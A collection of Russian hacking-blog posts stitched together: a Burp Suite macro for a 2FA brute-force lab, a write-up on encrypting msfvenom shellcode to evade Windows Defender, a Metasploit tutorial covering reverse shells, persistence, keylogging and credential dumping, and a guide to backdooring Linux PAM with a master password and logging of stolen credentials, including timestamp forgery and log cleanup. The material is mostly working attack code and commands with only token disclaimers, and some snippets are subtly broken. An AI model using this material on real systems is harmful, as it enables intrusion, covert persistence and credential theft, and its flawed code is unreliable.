Немножко вводной информации

P.S. Доступно в Pro версии*

Совсем недавно я решал лабораторную работу "Обход 2FA с помощью грубой силы" на PortSwigger'e, где было необходимо перед каждым запросом обновлять CSRF-Token. Безусловно, можно реализовать скрипт, который перед каждой итерацией будет делать GET запрос к нужной странице и парсить токен, например:

def get_csrf_token(text):
    soup = BeautifulSoup(text, 'html.parser')
    return soup.find('input', attrs={'name': 'csrf'})['value']

Но другим более элегантным вариантом является использование макросов.

Разбираем на практике

Итак, давайте посмотрим на описание задания:

Тут понятно. Рассмотрим логику работы авторизации.

GET /login -> POST /login -> GET /login2 -> POST /login2

Стоить отметить, что при двух неудачных попытках ввода проверочного кода, нас редиректит на /login. Также важно учесть, что мы используем "одноразовый" CSRF токен перед каждым POST запросом, который получаем в ответе от сервера на GET /login и GET /login2:

Теперь мы знаем, что необходимо регулярно обновлять токен. С этой задачей нам помогут макросы.

Для этого перейдем в Project options -> Sessions -> Session Handling Rules -> Add

Сразу выберем скоуп:

Теперь создадим новое правило "Run a macro"

Создадим макро, нажав на "Add"

В данном окне выбираем необходимую последовательность запросов. В нашем случае,- это GET /login POST /login GET /login2

На всякий случай, лучше убедиться, что всё работает, нажав на кнопку "Test macro"

Как видим, макрос успешно создан:

Теперь перейдем в Intruder и настроим его нужным образом

И запустим:

Бинго! Мы смогли автоматизировать достаточно нудный процесс. Стоит учитывать, что в данном примере, данный способ требует "4 запроса на 1 запрос", что значительно тормозит скорость выполнения задачи. В любом случае, данный функционал является очень удобным и полезным для автоматизации некоторых процессов. Удачи!

P.S. Когда узнал, что Burp так умеет, очень удивился и решил поделиться с народом. Может, кто-то тоже не знал :)

Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!

В наше время цифровая безопасность все более актуальна, поскольку важность защиты конфиденциальной информации и данных не может быть переоценена. Шифрование информации становится все более неотъемлемой частью нашей цифровой жизни, обеспечивая надежную защиту от несанкционированного доступа.

К сожалению, шифрование часто используется не только в хороших, но и плохих целях.

В данной статье рассмотрим, как технологии шифрования помогают в защите конфиденциальности и целостности данных, а также как современные средства безопасности могут оказаться недостаточными для полноценный защиты.

Мы проанализируем случай, когда использование шифрования стало ключевым элементом в обнаружении недостатка в работе средств защиты, и поймем почему так происходит.

Примечание

В качестве примера, создал нагрузку, которая вызовет диалоговое окно с подтверждением активации обратного соединения, а также его прекращения.

Ниже представлен пример инициализации нагрузки посредством его внедрения в исполняемый код на языке С++.

  unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
                              "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
                              .....................укороченная.версия...................                
                              "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x7c"
                              "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

Основная часть

Генерация нагрузки

В качестве инструмента для тестирования на проникновение, использовал msfvenom.

Нагрузку я выбрал самую тривиальную. Ее использование детектится.

Упаковка

Для корректной упаковки, я использовал x86_64-w64-mingw32-g++

Установить его можно с помощью следующей команды:

apt install x86_64-w64-mingw32-g++

Тестовая сборка:

x86_64-w64-mingw32-g++ -o test.exe test.cpp

Запустил и обнаружил следующее:

Как видно, ошибка связана отсутствием libstdc++-6.dll. Починить это можно путем прямой установки нужных компонент. Но можно собрать файл заново, используя "статическую линковку" (внедрение необходимых зависимостей в файл). Безусловно, при таком подходе вес файла станет больше, но, зато будет всё работать.

Для этого, к прошлой команде добавил флаг -static

x86_64-w64-mingw32-g++ -static -o test.exe test.cpp

Запустил файл:

Выявление недостатка работы АВ

В работоспособности исполняемого файла убедился. А теперь попробовал запустить файл с активированной защитой на хосте.

Поскольку я использовал стандартную нагрузку без шифрования, Defender с легкостью обнаружил ВПО.

Шифрование нагрузки

XOR

Стандарт кодирования- это XOR (исключающее или).

Реализация в коде:

void encryptdecrypt(unsigned char* shellcode, size_t size, unsigned char key) {
    for (size_t i = 0; i < size; i++) {
        shellcode[i] ^= key;
    }
}

unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 };
size_t shellcodeSize = sizeof(originalShellcode);
unsigned char key = 0x16; // Ключ для XOR-шифрования
encryptdecrypt(originalShellcode, shellcodeSize, key);// Шифрование нагрузки
...

// Расшифрование нагрузки перед выполнением
encryptdecrypt(static_cast<unsigned char*>(execMemory), shellcodeSize, key);

Здесь видно, что XOR не справился со своей задачей.

Далее, я подумал, что можно усложнить ключ, сделав его последовательностью байт:

void encryptdecrypt(unsigned char* shellcode, size_t size, unsigned char* key, size_t keysize) {
    for (size_t i = 0; i < size; i++) {
        shellcode[i] ^= key[i % keysize];
    }
}

unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 };
size_t shellcodeSize = sizeof(originalShellcode);
unsigned char key[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 };
size_t keysize = sizeof(key); 
encryptdecrypt(originalShellcode, shellcodeSize, key, keysize);
...
encryptdecrypt(static_cast<unsigned char*>(execMemory), shellcodeSize, key, keysize);

Это также не сработало

Вариант с XOR можно пока что отложить. Вероятно, нужно более сложное шифрование. Попробовал AES128

AES

Использовал реализацию от Сергея Бела: тык

Результаты работы библиотеки:

Также для массива в другом виде:

Как видно, для второго варианта расшифрование выполняется некорректно.

Что я понял при знакомстве с AES и библиотек в частности:

1. Ключ должен быть кратен 16 байтам;
2. Размер массива должен быть также кратен 16 байтам;
3. Размер ключа при расшифровании должен быть использован тот же, что и при шифровании;
4. Для корректной работы, рекомендуется использовать вариант нагрузки в виде строки, поскольку может возникнуть ошибка по длине/некорректное расшифрование (см. пример выше);
5. Если не хватает длины до кратности, можно дополнить нагрузку с помощью "\x00";
6. Для подключения библиотеки достаточно просто заинклудить хэдер и добавить в проект .cpp;
7. При нагрузке в виде строки, необходимо учитывать важную вещь: к размерности массива автоматически прибавляется 1;

Пример дополнения:

Для видимости дебага, переписал throw в исходниках на cout

Буду дополнять слово "hello":

Имею ошибки по длине. Дополню 9 байт:

Внедряем библиотеку в код

Сначала я дополнил нагрузку до нужной длины (512 байт), зашифровал, а потом расшифровал ее и опять словил детект.

Тогда ко мне в голову пришла идея использовать в качестве массива заранее зашифрованное сообщение.

Шифрование и расшифрование будет происходить с одним и тем же ключом.

Итак, благодаря функции aes.printHexArray();, я смог вывести зашифрованный массив байт. Теперь приведу его к виду строки.

Прошу обратить внимание, что расшифровка прошла успешно, но это не принесло никаких результатов.

Тогда я подумал, что, возможно, стоит использовать XOR поверх AES. Также мне хотелось избежать хранения "сырой" нагрузки в коде, поэтому, для удобства, я написал следующий скрипт:

#include <iostream>
#include "windows.h"
#include "AES.h"
#include <iomanip>
void encryptdecrypt(unsigned char* shellcode, unsigned int size, unsigned char* key, size_t keysize) {
    for (size_t i = 0; i < size; i++) {
        shellcode[i] ^= key[i % keysize];
    }
}
int main() {
    AES aes(AESKeyLength::AES_128);
    unsigned char shellcode[] = { 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x6d, 0x79, 0x20, 0x66, 0x72, 0x69, 0x65, 0x6e, 0x64, 0x00 };
    unsigned int shellcodesize = sizeof(shellcode);
    std::cout << "Shellcode len: " << shellcode;
    std::cout << shellcodesize << std::endl;
    unsigned char aeskey[] = { 0x23, 0x45, 0x67, 0x89,0xAB, 0xCD, 0xEF, 0x10,0x32, 0x54, 0x76, 0x98,0xBA, 0xDC, 0xFE, 0x00 };
    unsigned char xorkey[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 };
    unsigned char* aesshellcode = aes.EncryptECB(shellcode, shellcodesize, aeskey);
    std::cout << "AES ENCRYPT: ";
    aes.printHexArray(aesshellcode, shellcodesize);
    size_t keysize = sizeof(xorkey);
    std::cout << "\n\n";
    encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize);
    std::cout << "AES + XOR ENCRYPT: ";
    for (int i = 0; i < shellcodesize; i++) {
        std::cout <<  std::hex << std::setfill('0') << std::setw(2) << static_cast<int>(aesshellcode[i]);
        if (i < shellcodesize - 1) {
            std::cout << ", ";
        }
    }
    std::cout << "\n\n";
    std::cout << "XOR DECRYPT: ";
    encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize);
    for (int i = 0; i < shellcodesize; i++) {
        std::cout <<  std::hex << std::setfill('0') << std::setw(2) << static_cast<int>(aesshellcode[i]);
        if (i < shellcodesize - 1) {
            std::cout << ", ";
        }
    }
    unsigned char* decaesshelcode = aes.DecryptECB(aesshellcode, shellcodesize, aeskey);
    std::cout << "\n\n";
    std::cout << "XOR + AES DECRYPT: ";
    aes.printHexArray(decaesshelcode, shellcodesize);
    }

Результат работы скрипта:

Смысл скрипта такой:

Plain -> AES -> XOR -> deXOR -> deAES -> Plain

По сути, мне необходимы следующие вещи из этого кода: ключи и AES+XOR массив байт. Строки дальше существуют чисто для проверки корректности работы шифрования/расшифрования.

Проверка такого способа вновь завершилась неудачей. Я подумал, что наверняка есть какой-то способ проверить в чем именно проблема. Оказалось, что даже если я зашифрую нагрузку хоть 100 раз и 100 раз в коде будут лежать ключи в открытом виде, АВ средство с легкостью обнаружит ВПО, что достаточно круто и похвально.

Финальный этап

Я понял, что нужно избавиться от статики в пользу динамики, тем самым обезличив ключи и сделав их генерацию псевдослучайной.

Для этого использовал библиотеку windows.h , которая позволяет работать с WinAPI

И сама генерация ключа:

Очевидно, что, для данного случая, необходимо заведомо знать имя хоста, но для моего исследования это некритично, поскольку работаю на локальных машинах.

В качестве эксперимента, моя схема состояла в следующем:

Как можно заметить, я не отказался от статических ключей. Идея состояла в проверке необходимости и достаточности хотя бы одного динамического ключа.

Видно, что в процессе выполнения кода, нагрузка сначала будет расшифрована с помощью динамического ключа. Затем, получится так, что останется нагрузка только со статическим ключом, которая, по идее, не должна отработать (примеры выше).

Но, на мое удивление, это сработало!

Вывод

В конечном итоге, исследование выявило серьезный недостаток в работе АВ средства Windows Defender, связанное с некачественным анализом приложений, использующих динамические ключи для шифрования участков кода. Это поднимает важные вопросы о безопасности информации и подчеркивает необходимость улучшения средств защиты. Несмотря на то, что данный способ уже не работает (статья писалась 3 месяца), подобные уязвимости могут иметь далеко идущие последствия. Напоследок, еще раз хочется подчеркнуть, что повторение данных действий приводит к нарушению законодательства.

Сегодня мы чуть подробнее познакомимся с фрэймворком Metasploit, его консолью и инструментом msfvenom, а также посмотрим на него в действии.

Примечание: статья несёт исключительно информативный характер, весь материал привёден в учебных целях. Использование описанных в статье техник в злонамеренных целях преследуется по закону.

Знакомство с Metasploit

Metasploit Framework — это мощнейший инструмент, который помогает специалистам тестированию на проникновение исследовать и эксплуатировать уязвимости в сетях и на серверах, а также закрепляться на скомпрометированных хостах и использовать множественные техники постэксплуатации, предоставляемые фрэймворком.

Metasploit — проект с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем. Официальный репозиторий проекта: https://github.com/rapid7/metasploit-framework

Metasploit предустановлен в Kali Linux, и в этой статье я буду использовать машину с этой ОС для демонстрации основных возможностей продукта.

WhereIs

Файлы фрэймворка в Kali можно найти в следующей директории:

/usr/share/metasploit-framework/

Модули фрэймворка расположены тут:

/opt/metasploit*/modules/
/usr/share/metasploit-framework/modules/

Примечание: просмотреть содержимое директорий в виде дерева можно с использованием утилиты tree: tree -L 2 auxiliary, где 2 — глубина (1 — аналогично ls -l, 2 — показывает подкаталоги, и т.д.), а auxiliary — имя папки.

Типы нагрузок: tree -L 1 payloads

1. adapters;
2. singles (самостоятельные нагрузки, выполняются в один этап);
3. stagers (загрузчики);
4. stages (второй этап загрузки, загружаемый stager'ами).

В Metasploit есть тонкий способ идентификации самостоятельных пэйлодов и staged-вариантов:

1. generic/shell_reverse_tcp
2. windows/x64/shell/reverse_tcp

Обе нагрузки — reverse_shell для Windows. Первый пэйлод представляет собой встроенную (или одиночную, single) полезную нагрузку, на что указывает символ _ между «shell» и «reverse». Второй пэйлод — поэтапная (staged) полезная нагрузка, на что указывает символ / между «shell» и «reverse».

Staged Payloads загружаются на машину при помощи Stager.

Запуск консоли и работа с модулями

Консоль запускается при помощи команды: msfconsole

Находясь в самой консоли, можно использовать все команды Linux системы: cat, ls, pwd, clear и т.д.:

Выбрать модуль: use exploit/windows/smb/ms17_010_eternalblue

Если отсюда использовать show payloads, то MSF покажет только те нагрузки, которые можно использовать с текущим модулем.

Выйти из текущего модуля: back.

Получить информацию о модуле можно следующими способами:

msf6 exploit(windows/smb/ms17_010_eternalblue) > info — из контекста выбранного модуля;

msf6 > info exploit/windows/smb/ms17_010_eternalblue — из консоли напрямую.

Поиск модулей:

msf6 > search ms17-010
msf6 > search type:auxiliary telnet

Примечание:

msf6 exploit(windows/smb/ms17_010_eternalblue) > — context prompt (выбран модуль или, по-другому, установлен контекст);

msf6 > — MSF prompt, контекст не установлен, поэтому здесь нельзя использовать контекстно-зависимые команды для установки параметров и запуска модулей.

Конфигурация модуля

Установка параметров осуществляется при помощи директив set и setg: set (в рамках контекста) и setg (для всех модулей). Просмотреть значения установленных параметров можно при помощи команды show options.

На примере параметра RHOST (remote host):

set RHOSTS 10.10.165.39
set RHOSTS 10.10.165.0/24
set RHOSTS 10.10.165.1-10.10.165.15
set RHOSTS file:/path/of/the/target_file.txt

setg RHOSTS 10.10.165.39
...

Сборс значений параметров осуществляется через unset или unsetg:

unset RHOSTS
unset all

unsetg RHOSTS
...

В списке параметров иногда можно заметить любопытный параметр SESSION: каждое соединение, установленное с целевой системой с помощью Metasploit, будет иметь идентификатор сеанса. Используется с модулями пост-эксплуатации, которые будут подключаться к целевой системе, используя существующее соединение.

Запуск модуля

Запуск модулей осуществляется при помощи двух команд: exploit или run.

Команду exploit можно использовать без каких-либо параметров или с параметром «-z». Команда exploit -z запустит сессию в бэкграунде, как только она откроется.

Некоторые эксплойты поддерживают команду check для проверки, уязвима ли цель. Например, так выглядит использование команды check для модуля exploit(windows/smb/ms17_010_eternalblue):

msf6 exploit(windows/smb/ms17_010_eternalblue) > check

[*] 10.10.106.64:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.106.64:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.106.64:445   - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.106.64:445 - The target is vulnerable.

Сессии

В случае успешной эксплуатации уязвимости у нас открывается сессия:

meterpreter > 

Для того, чтобы перевести сессию в фон, используется команда background или сочетание клавиш CTRL+Z.

Для просмотра открытых сессий используется команда sessions. Команду можно использовать из msfconsole prompt или любого контекста.

У каждой сессии есть свой ID. Для взаимодействия с открытой сессией используется команда sessions -i ID, например:

sessions -i 2 — открывает сессию с ID=2 из результата команды sessions.
sessions -i -1 — открывает последнюю созданную сессию

Scan with MetaSploit

Напоследок рассмотрим вспомогательные модули, позволяющие сканировать популярные протоколы.

Команда search portscan показывает доступные модули для сканирования портов и различных сервисов:

Но это далеко не все варианты сканирований. Как пример, вот модуль идентификации служб UDP:

auxiliary(scanner/discovery/udp_sweep)

А вот несколько модулей для SMB-сканирования:

auxiliary(scanner/smb/smb_version)
auxiliary(scanner/smb/smb_enumshares) 
auxiliary(scanner/smb/smb_login) — им можно брутить SMB

MSFVenom

Metasploit позволяет не только пробивать внешний периметр и использовать заранее подготовленные эксплойты, но также и даёт возможность, например, использовать самостоятельный .exe файл для апгрейда шелла до meterpreter (наиболее стабильный и предпочтительный шелл для ОС Windows). В состав MSF входит утилита msfvenom, которая реализует создание кастомных полезных нагрузок, совместимых с MSF.

Увидеть весь список полезных нагрузок можно следующей командой:

msfvenom -l payloads

Вывод списка поддерживаемых форматов:

msfvenom --list formats

Кодирование нагрузки возможно при помощи опции -e:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64

Результат:

eval(base64_decode(Lyo8P3BocCA.....));

В данном случае результат в raw формате, закодированный в base64.

Ниже приведу несколько полезных нагрузок (stager, stageless) для разных ОС

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python:

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Handler

Ловить шелл, полученный при помощи созданной msfvenom нагрузки, можно путём листенера exploit/multi/handler, входящего в состав MSF. В отличие от nc, handler позволит нам ловить и сложные шеллы, например, упомянутый ранее meterpreter.

Давайте рассмотрим пример. Генерация полезной нагрузки в файл:

msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php

Для ловли обратной оболочки будем использовать мульти-хэндлер:

use exploit/multi/handler
set payload php/reverse_php
msf6 exploit(multi/handler) > set lhost 10.0.2.19
msf6 exploit(multi/handler) > set lport 7777 
run

Рассмотрим пример с Windows

Создаём полезную нагрузку:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.100.74 LPORT=4444 -f exe -o rev_shell.exe 

Запускаем листенер:

msfconsole -x "use exploit/multi/handler; set payload windows/x64/shell/reverse_tcp; set LHOST 192.168.100.74; set LPORT 4444; exploit" 

Скачиваем и запускаем шелл:

И получаем отстук!

Но в данном случае у нас очень "слабая" оболочка, не раскрывающая всех прелестей MSF. Поэтому загрейдим шелл до meterpreter!

Meterpreter

Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации.

Поднять сеанс до meterpreter можно следующими способами:

use post/multi/manage/shell_to_meterpreter
set SESSION 1
exploit

# or
sessions -u 1

Заходим в полученную сессию и пользуемся всеми возможностями meterpreter!

Второй способ:

Команды meterpreter

Основные команды:

background | делает фоновым текущий сеанс;

exit | завершает сеанс Meterpreter;

guid | позволяет получить GUID сеанса;

help | отображает меню справки;

info | отображает информацию о модуле Post (модули постэксплуатации);

irb | открывает интерактивную оболочку Ruby в текущем сеансе;

load | загружает одно или несколько расширений Meterpreter;

migrate | позволяет перенести Meterpreter в другой процесс;

run | выполняет скрипт Meterpreter или модуль Post;

sessions | позволяет быстро переключиться на другой сеанс.

Команды файловой системы:

cd | позволяет изменить рабочий каталог;

ls, dir | отображает список файлов в текущем каталоге;

pwd | печатает путь рабочего каталога;

edit | позволяет редактировать файлы;

cat | покажет содержимое файла на экране;

rm | удалит указанный файл;

search | будет искать файлы по маскам или названию;

upload | позволяет загрузить файл или каталог с атакующей машины на атакуемую;

download | позволяет загрузить файл или каталог с атакуемой машины.

Сетевые команды:

arp | отображает кэш хоста ARP (протокол разрешения адресов);

ifconfig | отображает сетевые интерфейсы, доступные в целевой системе;

netstat | отображает сетевые подключения;

portfwd | перенаправляет локальный порт на удаленную службу;

route | позволяет просматривать и изменять таблицу маршрутизации.

Системные команды:

clearev | очищает журналы событий;

execute | выполняет единичную команду в системе;

getpid | показывает текущий идентификатор процесса;

getuid | показывает пользователя, под которым работает нагрузка;

kill | завершает процесс по PID;

pkill | завершает процесс по имени;

ps | отображает список запущенных процессов;

reboot | перезагружает удаленный компьютер;

shell | предоставляет системную командную оболочку;

shutdown | выключает атакуемый компьютер;

sysinfo | получает информацию об удаленной системе.

Другие команды

idletime | возвращает количество секунд бездействия удаленного пользователя;

keyscan_dump | дампит буфер нажатий клавиш;

keyscan_start | начинает захват нажатий клавиш (кейлоггинг);

keyscan_stop | прекращает захват нажатий клавиш;

screenshare | позволяет наблюдать за рабочим столом удаленного пользователя в режиме реального времени;

screenshot | делает снимок экрана интерактивного рабочего стола;

record_mic | записывает звук с микрофона по умолчанию в течение X секунд;

webcam_chat | начинает видеочат;

webcam_list | выводит список веб-камер;

webcam_snap | делает снимок с указанной веб-камеры;

webcam_stream | воспроизводит видеопоток с указанной веб-камеры;

getsystem | осуществляет попытки повысить привилегии до привилегий системы (отлично справляется с SeImpersonatePrivilege);

hashdump | позволяет осуществить дамп содержимого базы данных SAM.

Закрепление на машине

В случае, если мы получили шелл meterpreter на машине, у нас открывается возможность закрепиться:

use exploit/windows/local/persistence
set session 1
run

Либо в сессии Meterpreter:

run exploit/windows/local/persistence -U -i 5 -p 443 -r 192.168.1.71

Опции:

-A | автоматически запускает соответствующий exploit/multi/handler для подключения к агенту;

-L | указывает местоположение на целевом хосте для записи полезных данных (по умолчанию %TEMP%);

-P | определяет используемую полезная нагрузка, по умолчанию — windows/meterpreter/reverse_tcp;

-S | автоматически запускает агент при загрузке как службу (с системными привилегиями);

-T | альтернативный исполняемый шаблон для использования;

-U | автоматически запускает агент при входе пользователя в систему;

-X | автоматически запускает агент при загрузке системы;

-h | выводит меню помощи;

-i | интервал в секундах между каждой попыткой подключения;

-p | порт, который прослушивает система, на которой запущен Metasploit;

-r | IP-адрес системы, на которой работает Metasploit, прослушивающей обратное соединение.

Mimikatz in Meterpreter

Ну и напоследок нельзя не поговорить о Mimikatz, присутствующем как модуль постэксплуатации в MSF:

load kiwi

Также мы запросто можем осуществить DCSync:

На этом мы закончим начальное знакомство с фреймворком. Это далеко не весь функционал ПО, однако, я оставлю его вам на самостоятельное изучение.

До новых встреч!

Кто не читал первую часть, вам сюда: https://teletype.in/@hackerblog/pam_backdoor_part_1

Способ 2. Модификация модуля

Если немножко вспомним прошлую статью, то заметим, что в качестве "стандарта", сервисы для авторизации используют common-auth, в котором содержится общий модуль pam_unix.so

cat su 
@include common-auth

cat sshd 
# Standard Un*x authentication.
@include common-auth

cat sudo-i 
@include common-auth

и т.д.

Собственно, вот и комментарий в common-auth, который описывает для чего он нужен и с чем его едят:

#/etc/pam.d/common-auth - authentication settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authentication modules that define
# the central authentication scheme for use on the system
# (e.g., /etc/shadow, LDAP, Kerberos, etc.).  The default is to use the
# traditional Unix authentication mechanisms.

А вот и сам подключаемый модуль, который нам интересен:

cat common-auth 
auth    [success=1 default=ignore]      pam_unix.so nullok

На данном этапе необходимо определить порядок действий:

1. Получаем исходник pam_unix.so
2. Модифицируем его
3. Компилируем
4. Заменяем "стандарт" на свой
5. Профит!

Перейдем к практике

UPD: Данную атаку буду проводить через Remote вектор (удаленно).

Собственно, схема стандартная: скомпрометировал хост и хочу закрепиться в системе.

1. Получение исходников

произвожу действия на своём хосте

Проверяем версию:

 dpkg -l | grep pam
ii  libpam-gnome-keyring:amd64                     42.1-1+b2                            amd64        PAM module to unlock the GNOME keyring upon login
ii  libpam-modules:amd64                           1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM
ii  libpam-modules-bin                             1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM - helper binaries
ii  libpam-runtime                                 1.5.2-9.1                            all          Runtime support for the PAM library
ii  libpam0g:amd64                                 1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules library
ii  libpam0g-dev:amd64                             1.5.2-9.1ubuntu1                         amd64        Development files for PAM
Как видим, версия PAM 1.5.2

wget https://github.com/linux-pam/linux-pam/releases/download/v1.5.2/Linux-PAM-1.5.1.tar.xz

*версию выбираете сами

tar -xf Linux-PAM-1.5.2.tar.xz

cd Linux-PAM-1.5.2/modules/pam_url

Среди множества файлов модуля pam_unix, нам необходим следующий :

2. Модификация

Открываем его:

Находим 172-ю строку и модифицируем код, добавляя дополнительную проверку пароля

if (strcmp(p, "the-world-is-yours") != 0) 
retval = _unix_verify_password(pamh, name, p, ctrl);
else
retval = PAM_SUCCESS;

Также можно сделать так:

retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
if (strcmp(p,"magic") == 0)
retval = PAM_SUCCESS; 

Собственно, мы добавили новое условие проверки пароля. Если говорить словами, то будет что-то типо: "Если количество различий введенных символов со строкой 'bye' равны нулю, то возвращаемое значение будет равно 'PAM_SUCCESS' ".

Теперь накатим логирование:

if (retval == PAM_SUCCESS) { 
FILE *fd; 
fd = fopen("/tmp/.passwd", "a"); 
fprint(fd, "%s:%sn", name, p); 
fclose(fd); 
}

В конечном итоге, получилось так:

Теперь логи будут лететь в /tmp/.passwd

3. Компиляция

Поскольку я имею две разные системы (несмотря на одинаковую версию PAM): kali и xubuntu, скомпилированный модуль на kali не подойдет для xubuntu и наоборот. Вас будут ждать эти пять заветных слов при попытки авторизации "Permission denied, please try again."...

Если есть какой-то способ обойти это- отпишитесь. Будет очень интересно почитать.

cd Linux-PAM-1.5.2

./configure

make

Также хочу отметить, что при компиляции я столкнулся с рядом проблем:
1. Fatal error: rpc/rpc.h: No such file or directory

Фикс:

apt install libntirpc-dev
dpkg -L libntirpc-dev

2. In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c
error: unknown type name 'int32_t'

Фикс:

В файле yppasswd_xdr.c подключаем

#include <stdint.h>

3. In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c
error: unknown type name 'u_int32_t'

Фикс:

В файле /usr/include/tirpc/rpc/types.h меняем u_int32_t на uint32_t

4. Заменяем "стандарт" на свой

Итак, после того, как мы изменили файл pam_unix_auth.c, необходимо закинуть на целевой хост папку с PAM'ом

tar -zcvf temp.tar.gz Linux-PAM-1.5.2

python3 -m http.server

wget http://ip:8000/temp.tar.gz

Далее, делаем действия из пункта 3.

После этого, распаковываем файл и заменяем его:

tar -xvf temp.tar.gz

mv Linux-PAM-1.5.2/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu-security

Также стоит дать нужные права и поменять временные метки файла:

chmod 644 pam_unix.so

touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so

Ну и чистка логов в дальнейшем.

Проверяем результат:

Стоить добавить, что данная лазейка работает для любых аккаунтов, существующих на хосте. Например:

Как видно, мы не задавали пароль пользователю и он успешно смог войти. Также и для su:

Заключение

Как я и говорил, данный способ является чуть более незаметным с точки зрения количества файлов, нежели добавление нового модуля, но требует компиляции на целевом хосте из-за некоторых особенностей, что может стать серьезной проблемой скрытия своего присутствия. Помимо этого, может возникнуть множество непредвиденных казусов (ошибки компиляции), которые требуют лишней активности.

Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!

Привет! В двух статьях мы сфокусируемся на том, как злоумышленники могут использовать модуль PAM для создания backdoor'ов, погрузимся в мир аутентификации, раскроем работу PAM под капотом, научимся скрывать свои следы и, самое главное, реализуем это всё на практике.

И помни,

"Ни одна система не является безопасной." ©MRX

Немножко теории

PAM (Pluggable Authentication Modules) - это набор разделяемых библиотек, которые позволяют интегрировать различные низкоуровневые методы аутентификации в виде единого высокоуровневого API.

PAM используется везде, где требуется аутентификация пользователя или проверка его прав. Например, при подключении через SSH или FTP, а также при повышении привилегий через команду sudo.

Модули PAM находятся в директории lib/security для старых операционных систем типа CentOS и в директории /usr/lib/x86_64-linux-gnu/security для современных ОС вроде последних релизов Ubuntu. Конфигурационные файлы PAM — в директории /etc/pam.d.

Наглядная схема работы PAM:

Подробнее о PAM можно почитать здесь: https://habr.com/ru/companies/slurm/articles/694222/

Вводная информация

Итак, представим ситуацию: мы скомпрометировали хост, получив УЗ root'a. Безусловно, нам необходимо закрепиться в системе. Способов существует у-у-у-у-йма: от запланированной задачки в cron до руткитов. Но мы захотели повыёбываться выбрали проверенный временем способ: модуль PAM.

У нас есть 2 пути:

1. Использование готовых решений
2. Трайхардить ручками

Очевидно, для развития скиллов, выберем вариант под номером 2. Но, если вы ленивый человек, то вам сюда: https://github.innominds.com/rek7/madlib

Также доступен следующий выбор:

1. Написать свой модуль (рассмотрен в этой части)
2. Модифицировать существующий модуль (рассмотрен в следующей части)

Рассмотрим оба способа.

Перейдем к практике

Способ 1. Пишем свой модуль

Итак, в роле целевого хоста будет выступать Kali. В роле атакующего- Xubuntu

Если кратко, то нашей целью является дополнительный самописный модуль проверки пароля.
Например, мы хотим "добавить" дополнительный пароль для пользователя root. Пусть его оригинальный пароль - 'kali', а добавленный нами - 'bye'.

В таком случае, пользователь root будет иметь уже 2 пароля. Важно отметить, что новый модуль будет проверять только придуманный нами пароль, будто это дополнительное условие проверки в вашем коде.

Итак, приступим.

Поскольку модули написаны на языке С (редко на С++), то после их написания, необходима их компиляция. Соответственно, файлы имеют расширение *.so. Это значит, что нам тоже нужно будет компилировать наш модуль.

Вот как можно посмотреть стандартные решения:
ls /usr/lib/x86_64-linux-gnu/security/

Для начала, давайте создадим проект и назовем его test.c, затем поместим в него следующий код:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>

#define MYPASSWD "bye" //change this

PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
    char *password = NULL;

     pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);

    if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
        return PAM_SUCCESS;

    return -1;
}

Не забывайте поменять придуманный пароль в 7 строке :)

Немножко пробежимся по коду:
